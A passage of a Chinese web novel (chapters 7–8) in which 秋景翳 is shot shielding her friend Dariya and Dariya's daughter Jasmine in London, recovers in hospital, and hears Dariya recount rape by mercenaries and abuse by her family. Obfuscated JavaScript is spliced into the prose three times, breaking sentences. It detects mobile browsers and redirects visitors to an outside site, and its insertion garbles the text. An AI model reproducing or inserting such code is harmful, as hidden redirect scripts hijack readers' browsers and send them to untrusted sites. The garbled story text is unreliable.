小巷里的爆竹商店内,Dariya抱着Jasmine被骚乱的人群带到主路上,手机早不知是被人摸走了还是中途挤掉了,她护着Jasmine的头和背,Jasmine吓坏了,在她怀里哭得上气不接下气,“别怕,别怕,妈妈在,不会有事的,不会让你有事的。” 别怕…会没事的…会没事的… Dariya反复念叨这几句,克制着心底汹涌翻腾想要冲破理智的恐惧,奋力挪动着像是灌了铅的双腿,混乱里,迎面而来一个又高又壮有着北欧血统的男人撞昏了她竭力维持的清醒,在身体的冲击下,她重心失衡向后倒去,两侧阴郁的英伦建筑像是被一股怪力吸走一般,Dariya跌坐进了入眼一片土黄色的街道里。 狭长的街道放眼望去尽是土黄色的墙壁和拱形的门廊,视线所及的尽头是一座极为显眼通体洁白的寺庙,细高的尖塔围着一个洋葱形状的硕大圆顶,勾勒细节的金线汇聚在塔尖,将太阳的耀眼据为己有。 在盛夏的中东沙漠地区,空气滚烫得能灼伤呼吸道,侧头回避那刺眼的光亮,Dariya才发现自己和身边所有的女性一样,身着长袍头戴面纱,手无寸铁的人群被警察和武装士兵压榨进这个逼|仄的小巷里,镇压反抗的枪声四起和尖叫呼救声混在一起刺痛着耳膜。 耳鸣模糊了她的听觉,不清楚自己是什么时候,是如何摔在地上的,接踵的人群和纷乱的脚步让她难以起身,四肢也不知被踩过几脚,只能看到唯一裸露在外的双手上满是鲜血和浊土。 忽然一只有力的手捏住了她的手腕猛往上提,皮质手套冰凉的触感将她拽进了不见天日的囚室里,她想逃身体却不听使唤,“不要…不要!别碰我!” “我不是要伤害你,在这摔倒太危险了”,那个高壮的男人不由分说将两只手伸到Dariya的胳膊下面,把她连带着怀里的Jasmine一起从地上一把拎起,看她魂不守舍还用力晃了几下,“快带着你的宝宝回家!外面不完全!听到了吗?” 从密闭的监牢重回阴郁的伦敦街头,耳边也不再是熟悉的母语,Dariya顿时有股脱力下坠感,“哦…好…好的…谢…谢谢…” 男人丢下一句“自己小心!”后就快步顺着街边跑走了,他在转了几个街角后,终于看到警察刚划定好范围,正在拉警戒线,余光瞥见警车旁边一个大腹便便的警官正拽着一个十分焦急想要挣脱束缚的女孩。 秋景翳在封锁外下了出租,身形灵活地翻过了黄底黑字的警戒线,警官伸手阻拦,“小姐,那边危险,你不能过去!” “别拦我!我朋友在里边!” 眼看阻拦无用,警官只能进行肢体牵制,“我们得到消息,嫌疑人正有目的性地对其他种族和少数族裔进行暴力行为,你必须待在警戒线外!” 种族矛盾长久存在,每一次对政府的激进反抗都会牵扯进外籍人士来平摊这份怒火。 “放开我!”听到针对少数族裔有针对性的暴力行为这句话,秋景翳眼睛都急红了,她挣扎着,手腕上戴了很久的那条手链突然干脆地断开掉在了地上,两个人都愣了一下,“放手!”她趁此机会拧着胳膊挣脱了警察的单手钳制,一片空白的思绪里只想着一件事,那就是Dariya和Jasmine绝对不能出事。 “小姐!小姐!站住!别往那边跑!”夸张到每跑一步就掀起一层肉浪的肚腩,一看就是坐久了办公室突然被叫来出外勤的警官,连穿着硬底小皮靴,常年维持在健康与疾病临界点的瘦弱女孩都追不上,被秋景翳落在身后好远,一边跑一边喘一遍喊。 秋景翳边跑边在手机上划拉着地图,从买烟花的商店到回家的地铁站有两个方向可以走,一个方向要穿过人流量比较大的闹市,另一边则是要绕路人迹罕至的巷子,再穿过一个围绕人工湖建造的小公园,人流量大的地方有暴徒,小巷子有teenager,权衡之后秋景翳想Dariya应该不会选第一条路线。 穿行在弯绕的街巷里,路过扫射烟花的teenager,火星溅落在衣摆和脚边,几声巨响在天际炸开,照亮了寒夜,附近场地的烟花秀如期开始。 触景生情是个很神奇的反应,今早Dariya用音响随机播放到的旋律在秋景翳的脑海中一闪而过。 Smokefillsthegardensformilesaround, andburnt-outfireworkslayontheground. 浓烟弥漫了方圆几英里的花园, 烧焦的烟花散落在地上。 Ididn''tcelebrateChristmasormybirthday, cuzsinceyouleftmeit''sbeenliketheworstday. 我没有庆祝圣诞节或我的生日, 因为自从你离开我以来,每天都像是最糟糕的日子。 穿出昏黄的窄巷,下沉式公园和秋景翳中间仅仅隔着道金属栅栏,她撑着膝盖缓了下呼吸,直起身就看到了前方不远处的Dariya,心里的石头落地,她的嘴角勾出个弧度,“找到你了。” Dariya正要顺着楼梯下到公园里,从她后方来了两个teenager,前面那个自行车骑得飞快后面拖了个站在滑板上的,站在滑板上的teenager一脸不怀好意的表情伸出贱手,秋景翳顷刻间就察觉到了危险,“Dariya!小心!”,那人对着Dariya的背后一个猛推,纵使她听见了秋景翳的警示也来不及躲避了。 Dariya护着Jasmine从台阶上滚了下去,脚踝不知道是扭伤还是骨折,动弹不得,得逞的teenager一边猴叫似地欢呼一边火速逃离了案发现场,秋景翳忍着冷天在户外剧烈运动后肺部强烈的刺痛,朝Dariya跑去。 与此同时,从公园一人高的灌木丛中接连钻出三个身影,最前面那个不知道是精神有问题还是磕了药,不正常的兴奋,连跑带跳还不停发出怪叫,后面跟着两个追赶的巡警。 英国的普通巡警是不配枪的,手里只拎着根唬人的警棍,当然,这对丧心病狂的罪犯起不到任何威慑作用。 那个“疯子”趟着水从湖边朝着路上跑过来,看见摔倒在地无力反抗的异族女人,心里陡然升起一种诡异的快感,不知道从身上哪里摸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904718|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把真枪,枪口对准了Dariya。 秋景翳凭借身高腿长的优势,一脚蹬上围栏,纵身从两米多高的地方一跃而下,“Dariya!” Dariya猛地回头,一颗硕大的红色烟花正好在夜空炸开,那朵烟花在弥留之际还要拼尽全力留下一连串闪烁燃烧的火花,亮得她瞳孔骤缩。 Onbonfirenight, thoseprettycolourslightin''uptheskies, werestillnomatchforyoureyes. 在燃烧焰火的夜晚, 那些绮丽的色彩点亮天空, 但仍然不及你的眼睛。 Dariya用身体为Jasmine挡出了一个子弹打不到的死角,冲着堪堪落地的秋景翳喊到:“别过来!危险!”嗓子因为急切而喊破了音,心底某个隐秘的角落忽然狠狠跳动了一下,似乎此刻,错位的不止是她的脚踝。 “我抓到你了,别怕。” 短短几秒钟的时间里,秋景翳已然跪坐在地,她背对公园将Dariya环进怀里,扣动扳机后枪管的砰响丝毫没有掩盖住这句在Dariya耳边的轻声安慰。 因瞄准开枪而停了脚步的歹徒终于被不怎么中用的警察扑倒在地,失去了行动力。 Dariya摸到了秋景翳背后温热的粘稠,秋景翳那张平日里就没什么血色的脸更加惨白了,“你…你怎么样”,她在慌乱中揪住一丝理智,摸出秋景翳的手机,“我叫救护车,你坚持一下,再坚持一下…” 对比之下,秋景翳就显得有些平静过了头,像是感觉不到疼似的,她不慌不忙地开口,暗红的血水比话语先一步从嘴角淌了出来,她脸上挂着笑,语气也是笑着的,“我…第一次抱人…感觉真好,早知道…应该早点…和你…试试…”她无力说出后面的话:为什么是你呢?因为我喜欢你离我近一点,而你好像也不会拒绝我的唐突。 Youlitthefireworks,itwasgoingwell, tilonenearlykilledus,andwejustlaughedlikehell. 你点燃了烟花,一切都很顺利, 直到其中一个几乎要了我们的命,而我们只是笑得像个傻瓜。 Dariya简洁明了地报了定位和伤势后挂了电话,她看到秋景翳的手还捂着Jasmine的眼睛,怕自己身上的血吓到小孩子,她绷着眼泪忍着哽咽,“你…你…为什么啊…?为什么要为我做到这样…?” “呵…不知道啊…”秋景翳抬起另一只手轻轻拨开Dariya脸上凌乱的发丝,“身体比大脑先做出反应,没人像你这样对过我…所以…害怕…再也见不到你”,她的笑容还没淡,却已气若游丝,棕里带红的瞳仁暗了又暗,“你还…生着我气呢…” Onbonfirenight, Foreverlostinyoureyes. 在燃烧焰火的夜晚 永远迷失在你的眼睛里 “你别说话了,也别笑了…我没生气,我干嘛要生你的气啊,是我不好,我不该因为自己的问题对你态度那么冷淡”,子弹从背后正中心脏的位置,Dariya努力尝试控制僵着的躯体,她用力按着可怖的伤处,不用眼睛看都能清晰地感受到那令人头皮发麻的肉沫和窟窿。 秋景翳倚着Dariya的肩膀,把脸又往她的颈侧贴了贴,明明失血会觉得浑身泛冷,她却说:“好暖和…” 你身边好暖和。 Dariya妄图止住泉涌的血液,可逐渐微弱的跳动还是慢慢的不再能传递到手心,“你别睡…不要睡啊…求你了…求你了…别…死…不要死…” 眼泪砸进血泊,涟漪都泛不起几圈。 Smokefillsthegardensformilesaround. Aburnt-outfireworkiswhatweare...now. 浓烟弥漫了方圆几英里的花园, 我们成了一枚燃尽的烟火...现在。 7. 出院 秋景翳转入普通病房已经是两周以后了,她没什么特别的感觉,甚至还偷偷庆幸有正当理由休长假,倒是Dariya一直愁眉苦脸心事重重的样子,她今天来得很早,但病房里有人比她更早,隔着房门的透明玻璃,她看到了一个穿着比较正式的男人正背对着自己坐在病床边。 秋景翳对面前的男人说:“你不上班吗?在这跟一个病人闲聊?” 不得不说秋景翳喜欢的类型还真是挺固定的,Jonathan是这家医院的医生,稍微打听一下就能知道秋景翳因何受伤,“我刚下夜班,看到你的病例所以来看看,身体怎么样?” “还不错,谢谢。” Jonathan的手使劲握了下拳又松开,他清楚秋景翳虽然对身边的人都很好,但和她相处时彼此之间的距离感摆在那里无法忽略,她的好是有限度的,绝不会到替人挡枪这个地步,至少对他肯定不会,于是言语间都带上了酸劲,“又换床伴?口味变得挺快,没看出来你还是个双啊?” 秋景翳笑了笑,没对不必要的人做不必要的解释,“怎么给自己的定义是床伴呢?这么看不起自己啊,前男友?” “这样的游戏你什么时候才能玩腻啊?不累吗?” “是挺没劲的,但我喜欢有人陪我。” “喜欢人陪…你还真是怎么都捂不热”,Jonathan抓起秋景翳的手在自己脸上蹭了蹭,他坐得比病床低,抬眼看人有种可怜巴巴的感觉,他想她了,可只要秋景翳不想让人见到,他就找不到她,“分手的时候你说我当初是见色起意,很快就会忘了你的,你骗人,已经过去一年了,我还是忘不掉你,你也不给我机会跟你和好,我以为我们挺合拍的。” Jonathan和秋景翳是在学校的一个Lecture上遇到的,秋景翳是被医学院的朋友叫去的,Jonathan是那天演讲的终身教授的研究助理,他是在这场Lecture结束后的讨论上对秋景翳一见钟情,一见钟情可不就是见色起意。 秋景翳甚至是有点喜欢和Jonathan在一起的日子的,只是他性格讨好过了头,尤其是在自己面前没有主见,像是总在等着主人发号施令。 “合拍嘛…因为我偶然一次说话语气不好,你发现自己喜欢被命令,我觉得新鲜陪你玩玩不是不行,至于和好,为什么要和好?我们之间有什么无法割舍的感情吗?”秋景翳嗤笑一声,“身体是身体,精神是精神,你不会以为肉|体碰撞能擦出爱情火花吧?你以为你是打火石呢?” Jonathan不以为然,“都是分泌多巴胺,快乐的界限是模糊的,但只要快乐不就好了?” 说的倒也不算错,只是无法填补秋景翳心里空洞的东西对她来说都是不重要的,她把手从Jonathan的手掌里抽出来,顺手揉了揉他上了夜班也没塌下来的金棕色头发,手感挺不错,软软的,收了手她递了个赶人的眼神,平静地说:“可我不喜欢小狗,你是知道的。” 温和的语气说出无比刺耳的话,Jonathan想起之前有一次说想一起养只小狗秋景翳说不喜欢拒绝了,这句是原话。 于是小狗有些恼,再见也不说就推门出去了,路过站在门口的Dariya时恶狠狠地瞪了一眼,Dariya一脸莫名其妙地进了门,看秋景翳神色如常,好奇便随口问出来了,“你朋友吗?怎么生气了?” 秋景翳笑着开玩笑,“前男友,吃你的醋了。” Dariya不知为何心虚了下,“吃我什么醋啊…” “开玩笑的,他刚下夜班脾气不好,你别介意。” 一时语塞,Dariya说了个没事,这个话题就没再继续下去,过了一小会,她看着秋景翳新换的药,心疼地说:“会留疤的…” 秋景翳吃了Dariya递到嘴边的苹果,一点也不在意,“留就留呗。” “你怎么还笑得出来…” “因为我醒来的时候看到你还在呀”,秋景翳支着扶手靠近了一点,“怎么没回家?” “你是为我才受伤进医院的,我哪里能一走了之?” “哦~人道主义关怀啊,那你干脆陪我到彻底好了呗~我不想一个人过圣诞~反正年底也不好找工作”,她没个正经的态度简直就像是自己只是破了皮就被人送来住院,既然对方小题大做我就撒泼耍赖一样。 Dariya都要被秋景翳搞无语了,“…你是不是对枪击没概念,你知不知道那天有多危险?你知不知道你在救护车来之前就没心跳了,你知不知道医生差点就宣告你死亡了?他们说你活下来都要感谢奇迹发生”,她对枪有应激反应,她亲眼见过被武力镇压的街道,满身血洞的尸体横在地上被四处逃窜的人群踩成肉泥,空气里散不掉的腥味直往肺腑里钻。 “我当然知道危险啊”,秋景翳一脸‘你当我三岁小孩’的表情,“但如果我没过去,那对你来说就不是危险了吗?所以别说我了~嗯?” Dariya攥着拳头,心口也像是被攥紧了似的,“你为什么那么不在乎?为什么难过了疼了都只是笑?你心里真的好受吗?你问我有没有想过我自己,那你呢?你有在乎过自己的感受吗…?” 秋景翳很认真地想了想,说:“你和Jasmine都没事,我也没事,犯人当场被抓,我不仅可以放假,还会收到一笔不小的赔偿金,皆大欢喜的happyending,我当然是真的开心啊”,她歪着头冲Dariya无辜地眨了眨眼。 “你…” “那你是答应我了吗?” “唉…”Dariya叹了口气,伸手不打笑脸人,她虽然气秋景翳不拿自己当回事,但也冲她发不起火,“本来也是这么打算的…不生病的时候就得过且过,身上有伤不知道还要怎么随便呢…” “嘿嘿,太好了”,说起来,秋景翳回想了一下刚刚Jonathan说的话,她想让Dariya待在自己身边,并不是像以前一样因为好几个月没有谈新对象无聊觉得身边冷清,但她现在无法想写论文一样,从脑海里检索出有用的信息得出一个确切的结论。 秋景翳的手依旧撑在窗边的扶手上,半眯的眼睛弯弯的,等着下一块喂到嘴边的苹果,Dariya看着眼前这个在绝境中奋不顾身为她而来的救赎,一时失了神,切好的一小块苹果掉到了地上。 转入普通病房没几天,医生查房感叹了一下年轻身体就是恢复快之后,就放秋景翳出了院。 英格兰的雪不多,去年是个暖冬,片雪不曾落,出院回家这天,伦敦下了今年的第一场雪。 Jasmine第一次见到雪新奇无比,一行三人在路边等出租的时候,她就蹲在花坛旁边,用手捏落在草叶上的雪花,Dariya也没见过雪,毕竟是在低纬度地区长大的,不过她可不是小孩子了,惊叹一下聊表心意也就过去了。 秋景翳微仰起头,漫天雪花飘落,她连眼睛都不眨一下,“下雪了啊…”雪花落在她的漆黑纤长的睫毛上十分突兀,袅袅白烟丛淡粉的唇间浮至空中,冷白修长的脖颈贴着羽绒服的立领露出一小截。 Dariya看到有些惊诧地问:“你的毛衣呢???”她明明是盯着秋景翳把高领羊毛衫套在身上的,肯定是趁自己一个不留神的时候脱掉的。 秋景翳不看天了,侧头看向Dariya轻轻一笑,“包里呢。” “也不看看什么天气,里面就穿件短袖,刚出院就又想回去了是不是?” “我没觉得冷”,秋景翳伸手拦下辆空车,皮肤暴露在冷空气中依旧雪白一片,就连指尖都没有丝毫被冻红的痕迹,“你吃过饺子吗?”她岔开话题。 “饺子吗?吃过的”,Dariya把自己的围巾取下来递给了秋景翳,“别冻着了,听话。” 秋景翳知道自己的不答应Dariya不会死心,于是接过来在脖子上绕了两圈,被冷风吹到散得差不多的体温还是冷不防地烫了一下秋景翳,她用鼻尖抵着柔软的面料嗅了嗅,那温暖的味道窜进肺腑,带着刺,轻轻勾着皮肉,“喜欢吗?” “嗯…其实…不太喜欢…”Dariya知道这是秋景翳的家乡菜,斟酌着开口,“我不是很能接受把咖喱土豆塞进面皮里。” “土豆咖喱馅的饺子”,秋景翳闻言笑出了声,“这是哪里的野生饺子啊”,她对司机报了一个超市的地址,“今天给你尝尝正经的,不难吃的相信我。” “你很喜欢吗?倒是难得听你说有想吃的东西。” 秋景翳的胳膊支在窗框上手撑着侧脸,Jasmine坐在她和Dariya中间,用自己的两只小手抓着秋景翳垂放在座位上冰凉的手,她动动手指勾住了Jasmine,说:“谈不上喜欢,只是每年冬天下第一场雪的时候我妈都会煮饺子吃,习惯了。” 其实海城几乎不会下雪,就算下,也是雨夹雪,雪花落不到地上更积不住。 秋景翳也费解过,哪怕窗外一片晴朗,程嘉曦也会说下雪了,然后自己煮一锅热腾腾的饺子,且明显不是她一个人的分量,后来她才知道,程嘉曦说的是每年京城的第一场雪。 程家有这么一个小传统,初雪吃饺子,虽然好像北方的每个特殊日子都要吃饺子,所以初雪的这顿本来也没什么特别的。 直到多年前的一场车祸,程嘉曦考入A大的那一年冬,京城的第一场雪下得好大,程总和夫人亲自开车去学校接上午刚上完课的宝贝女儿回家,高架上车子突然爆胎打滑,冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“别别别”,秋景翳把电脑搁在一旁,“那你抱我一下,就像那天那样,你再抱我一次,我就去睡觉好不好?” 说罢,她松开了裹着的被子倾身往前凑了凑,想把Dariya也拉进来和自己一起卷进去,她想念Dariya身上的温度了,就像是上瘾了一样。 按理来说Dariya抗拒肢体接触所以应该立即躲开的,但在对上秋景翳那双映着月光带着笑的眼里清澈又勾人的目光后,竟一时间没有作出任何反应,在距离近到能感受到秋景翳呼出的微凉气息时,她才找回遗漏的心跳,被本能主导一把推开了人。 “别碰!我脏…”这句话夹杂着细密的颤抖从Dariya的喉咙里下意识地冒出来后,不止秋景翳愣住了,她自己也一样,并且这是她第一次并非因心底的恐惧而是以这样的理由抗拒身体接触,她没有害怕秋景翳的靠近,她是在害怕自己配不上。 当在一段关系中忽然有了亏欠的感觉,那只能说明另一个人在自己没留意的时候,在心里扎了根。 “脏”,秋景翳重复了一遍这个字,程嘉曦也用过这个形容词,她已经不是小孩了,懂得大人不上台面的故事,她因为一瞬间萌生出的答案感到不安,“为什么…?”她希望不要是她脑海里蹦出的第一个答案。 摆在角落的香薰蜡烛晃了晃火苗,烧断了灯芯和Dariya那根崩了很久的弦,词句磕绊着,没底气地从唇齿中挤了出来,“我…我被…我被…过…” 事与愿违。 从前在警局做笔录的时候Dariya都没有觉得这两个字有如此难以说出口过,但当面对秋景翳时,她真的做不到,舌头像是被施了恶咒般僵直着。 亲口讲述出这段经历时,她的泪腺失了控制,大颗大颗的眼泪泉涌般地砸落,她捂着嘴肩膀不停打颤,脸上尽是痛苦。 “不脏,不脏的”,秋景翳伸出手想安抚,又想起Dariya抗拒便只能按耐下去,“这明明不是你的错。” “可我就是觉得…我…很脏啊…” 被践踏过的尊严会成为刻在骨骼上的自卑与怯懦。 人不是不可以和所有人保持距离,将不堪封存于心底,最终带进坟墓里,Dariya不知道自己为何要破坏自己曾定下的规则,选择对着秋景翳全盘托出,也许是从烟花迸射的那个夜晚开始,她的心就被搅乱了。 是啊,第一个向着她的人,第一个保护她的人,第一个为她奋不顾身的人,怎么可能不让人心乱呢? 被人性狠狠背刺过之后还能够让她敞开心扉接纳的人必然是顶好的,更可能是不存在于世的,但偏就让她遇到了这么一个人,她替这个人靠近自己而不值。 如此珍贵,不该失足于自己的污浊里。 8. 玫瑰 不能接触,秋景翳只能找来了餐巾纸递出去,“不要这么说,你是受害者啊,受害者不需要自我惩罚的。” Dariya背对光,整张脸藏在阴影里,“是啊…我是受害者啊…可人人都视我如瘟疫…” 即便光无法照亮Dariya,秋景翳也依然看得出她的痛苦,她起身从冰箱里取出两罐气泡酒撬开拉环,呲得一声,百香果的香甜立刻就从小口涨了出来弥漫在整个客厅,她没再说多余的无用的话,而是静静听着那压抑已久的倾诉。 Dariya松开紧紧攥着的手指,接过秋景翳递来的易拉罐,掌心被掐出的深深血痕被冰到麻木,她叹了口气,继而低笑一声,“想想就觉得自己可笑,一边去质疑规则和权威,一边寄希望于他人等着被拯救”,她扯着嘴角,笑意转为自嘲,咸湿的泪水滑进嘴里苦涩万分,有些东西一旦被从身体里抽走,想要失而复得就难与登天了。 永远都不可能重来,再也回不去了… 鲜血淋漓腐肉横生的伤口上欲盖弥彰结出得伤疤再次被揭开,仍旧会掀起一股令人浑身发毛几欲作呕的浓重血腥味。 那年,政府出台禁令,限制女性接受教育,反抗从高等学府开始,教授辞职学生辍学以表愤怒,禁令稳步推行丝毫未受影响,抗议活动愈演愈烈,从温和地张贴倡导告示到在政府部机构外的小型集会演讲,再到大规模罢工游行影响城市运作。 一边是抗议无果,一边是觉得冒犯,手握权力和武力的一方动动小指无情碾压毫无还手之力的一方。 没有警告,没有劝离,在游行持续几天后,武装士兵重型装甲车开路,对人群突然展开无差别攻击,人群措手不及慌忙逃窜。 死于车祸,死于枪击,死于踩踏的尸体横铺在街道上,血水混着污水,腥臭混着腐臭,鲜血渗进路旁生机惨淡的绿化带,下一个春天,那里大概会花草丛生。 在被驱赶至那条混乱的街道后,罪恶纠缠的触手便缠住了Dariya,无法拔除。 在被推搡到失去平衡的那一刻,她下意识抓住了伸到眼前的一只手,确切来说是一只冰凉的皮质战术手套。 记不清是如何被带离骚乱中心的,她只记得那天午后,阳光没有那么炽烈,风也不再那么灼热,她坐在飞驰的摩托后座,看着眼前宽阔的背影背着把半身长的狙击枪,以为是上天垂怜,丢给她一根救命稻草。 谁成想,那根救命草不过是拙劣伪装后的勾魂锁,私以为是自由的风实则是来自地狱的请帖。 发动机爆裂的声响逐渐平息,摩托停在了城郊一处临时搭建的据点,几顶黄绿迷彩的军用帐篷不远不近地杵在那片空地,那个雇佣兵熟练地踩下撑子,很有风度地伸手接Dariya下车,他看着她惊恐未歇还带着疑惑的表情,温声说:“得救了,不该和我说声谢谢吗?” Dariya迷茫着说了声谢谢,她有种怪异感,说不上来是哪里怪异,好像哪里都不对,想起早些时候的枪声四起,她屏着口气问:“其他人呢?都…都结束了吗?” “参与暴动的人全部击杀,很快就会结束的”,雇佣兵淡淡一笑,眼神里带着轻蔑,“所以我违抗命令救了你,你这样轻描淡写的一句谢谢,作为报答是不是有点太敷衍我了?” 他们把手无寸铁的平民进行合理的诉求称为暴|乱。 Dariya越来越不舒服,脑海里的警报开始拉响,“你救我为什么不直接把我沿路放在车站,或者别的交通枢纽,没有抗议者名单,所以只要离开那里我就不会被杀了,不是吗?可你却偏偏带我来你们的据点”,她不露痕迹地瞥了一眼几米开外的摩托,钥匙没拔,还能用来在万一时逃生。 戴着头巾只露出小半张脸也挡不住Dariya的美貌,这个人高马大的雇佣兵隔着人群,在瞄准镜里一眼就看到了她,现在也将她想要逃跑的意图看在眼里,他撕开伪善的面具,十分恶劣地说:“好吧我承认,我没有当见义勇为大善人的爱好,我当然是觉得浪费了你这张漂亮的脸蛋太可惜了呀,与其一枪爆头,不如让你在死之前做点有用的事。” 在他逼近的时候,Dariya果决地转身跑向摩托。 “放开我”,被雇佣兵一把拽倒按在地上的Dariya本能地求救,手脚并用地反抗着,大喊:“救命!救命!救救我!” “救命?省省吧,没用的”,雇佣兵连她的嘴也不捂,仗着体力优势消耗到她无力反抗,甚至干脆把这种小打小闹的行为当成是一种“情|趣”,他戏谑着:“啧啧,你跟其她被抓来的女人不一样,你比她们聪明,比她们反应快,她们直到被扒光绑起来动弹不得之前,都天真得以为自己得救了,你真挺有意思的,可惜,我不需要你有脑子”,说罢,他控制好力度,用枪柄砸在Dariya头侧。 这个国家的战争刚平息没几年,政党宗教让这里在废墟之上成为了另一种满目疮痍,对普通民众尤其是妇女的暴行屡见不鲜,百禁不止。 讲到这里,Dariya停顿了很久,秋景翳给她续了杯水,静静地等,等表针滴答滴答地扫过表盘一周,她才终于继续开口,“我…不知道过了多久”,也不知道来过几个人,只记得那些狰狞丑恶的嘴脸扭曲在一起,将视线逼退进伸手不见五指的黑暗与茫然里,她躺在只铺了一层床单的地上,手脚和嘴都被束缚着,浑身是血,有已经干了的还有正在往外冒的,“我能听到惨叫声,很多很多,到处都是,那时候我已经没有再反抗了,没力气也不敢。” 刚开始的那段时间,她反抗得很激烈,头破血流也在所不惜,恨不得和那些畜生同归于尽,但在一次又一次的侮辱咒骂和虐待毒打下,她的精神和意志全折断了,至今也无法复原。 Dariya的声音抖得厉害:“每一次…每一次失去意识的时候,我都以为我要死了,终于可以解脱了,可人类的生命却偏偏在应该脆弱的时候如此顽强,我…我…” 话没再说下去,又是一段停顿,“这件事闹得很大,后来因为国际组织的介入,我得救了,但我怀孕了,堕|胎在那里是违法的,我一天24小时被人看着,还要被迫接受心理治疗,连自|杀都做不到,人道主义援助一点也不人道,怎么就是非要让一个不想活的人活下去呢?我伤得很重,Jasmine早产,在我痊愈之前她先来了。” Jasmine没有爸爸原来…原来是这个意思…秋景翳这才后知后觉当初Dariya这句话的背后隐藏了多少不为人知的苦楚。 “我寻求过政治避难,但因为政治的原因,没能成功,我被困在那里,无处可逃。” “每次看着Jasmine,我就在想,她一个女孩,怎么就生在了这样一个地方呢?扼杀她或者是抛弃她,我不是没想过,但我太软弱了,我连放弃人性都做不到,明明知道那时候我什么都给不了她,我是在害她,结果我还是…” “后来,我不再总想着死了,至少Jasmine应该有一条活路,但失去贞洁的女性想在这个国家生存下去犹如天方夜谭,他们用处|女作为衡量一个女性价值的唯一标准,更别提我还有个孩子,我收到了导师的项目终止邮件,我在无数阻碍里好不容易爬到了这里,所有的努力却在一瞬间化为泡影,你知道摆在我面前的路还剩下什么吗?” 秋景翳学了这么多年法律,研究过全世界不同地区数不清的案例,她当然清楚Dariya说得那条路是什么,只不过从前那些记录在案的文字和不怎么清晰的访谈对她来说都只是冰冷的事实,教授评价过她真的很适合做这一行,心软被感情左右的人作出最客观的判断。 她对他人的心理活动一向拿捏得很准,会在他人的倾诉里给出最合适的反馈,却没人看得出她内心是过于平静的,就好像明明身体被带入了别人故事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904720|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,思维却悬浮在上帝视角,她对自己的定位很明确,一个冷情的伪善者。 按理来说这种过去发生的事更不会掀起任何波澜,她本想着反正睡不着宽慰一下人就当打发漫漫长夜了,但不知道为什么,从Dariya的口述里她第一次感受到了具象化的冲击力,她的理智在这一刻尽数转为了心疼,能言善辩如她此刻喉咙里也只能瑟声挤出一个音节,“嗯…” “卖,然后三十多岁不是死在嫖|客手里就是死于x病,可能上天看我过得太惨于心不忍,给了我一个机会,我后来的导师找到了我,以前她一直想招我,我没去,她是外籍,同情这个国家的所有女性顺带着连我也一起可怜,于是好意带着我半路上车,行了方便让我博士顺利毕业,她知道即便我顶着这个头衔在这个国家依旧会寸步难行,但或许能让我有机会离开这里。” 听到这里,秋景翳下意识松了口气,“还好…你后来真的离开了。” “不,到这里,还远没有结束”,Dariya已经哭累了,没力气掉眼泪和哽咽,她的语气平静了很多,但因为消极和低落,所以能听出明显的讽刺意味,“我有个姐姐,她刚好在那时候被丈夫家暴没有得到妥善治疗,败血症去世了,她的丈夫就是那个要买我的屠户,他在我家里闹,于是我那希望物尽其用的父母就来把我抓了回去。” “他竟然是…”秋景翳确实意外,她编都编不出的情节就发生在现实里,难怪Dariya那天的反应会是那样,“对不起…我还是要为那天我说过的话,郑重地向你道歉。” “没关系,是我不该迁怒你的”,Dariya摇摇头,“他们抓我回去之后就轮番折磨我。” 回去之后Dariya才了解了整件事情的始末,原来姐姐这么多年一直在私藏钱,直到一次没留意被屠户发现,所以才会挨打,最终不治身亡。 父亲和屠户都想私吞这笔钱,Dariya是唯一一个可能知道藏匿地点的人,因为她和姐姐的关系还算亲近。 父亲拿鞭子抽她让她跪在外面,屠户拽着她往水里按,那段时间街头巷尾的所有人都对她的不洁进行了无尽的侮辱谩骂,像洪水一样,席卷过狭窄悠长的街道,将她彻底淹没。 这样持续了一段时间后,她终于在施暴者的疏忽中找到机会,她拿着姐姐藏的钱带着Jasmine躲进了贫民窟里最不起眼的角落。 Dariya:“我姐姐她没有上过学,不认识太多字,我在她藏钱的盒子里看到了一张写得歪歪扭扭的字条,上面写着,去看看外面的世界,试试不一样的人生,好好活着,永远都不要再回来。” “那些钱足够我在英国学习生活一年,我都不知道她得存多久,她想逃我也想逃啊,所以我们都没有好结果,我看着那张字条的时候竟然萌生了一种悔意,我从没想过有一天我也会想要是当初选择了‘服从’那条路,是不是就不用受这么多苦了,我终于被掰回了他们希望我成为的样子。” 秋景翳在这短短的一个多小时里,看到了一个人身上的骨气是怎么被一点一点打断的,日复一日,连呼吸的空气都充斥着折辱,Dariya从骄傲变得怯懦,精神和肉|体的折磨让她产生自我厌弃。 “我…从身体到灵魂都变得肮脏和不完整”,Dariya的手把衣角攥得凌乱褶皱,她用很小的声音说:“你也会嫌弃这样的我吧…” “被压迫者的觉醒和反抗永远纯洁高尚”,没了平日里擅长的严谨说辞,秋景翳只给了这么一句简短的评价,“Dariya,你不脏。” 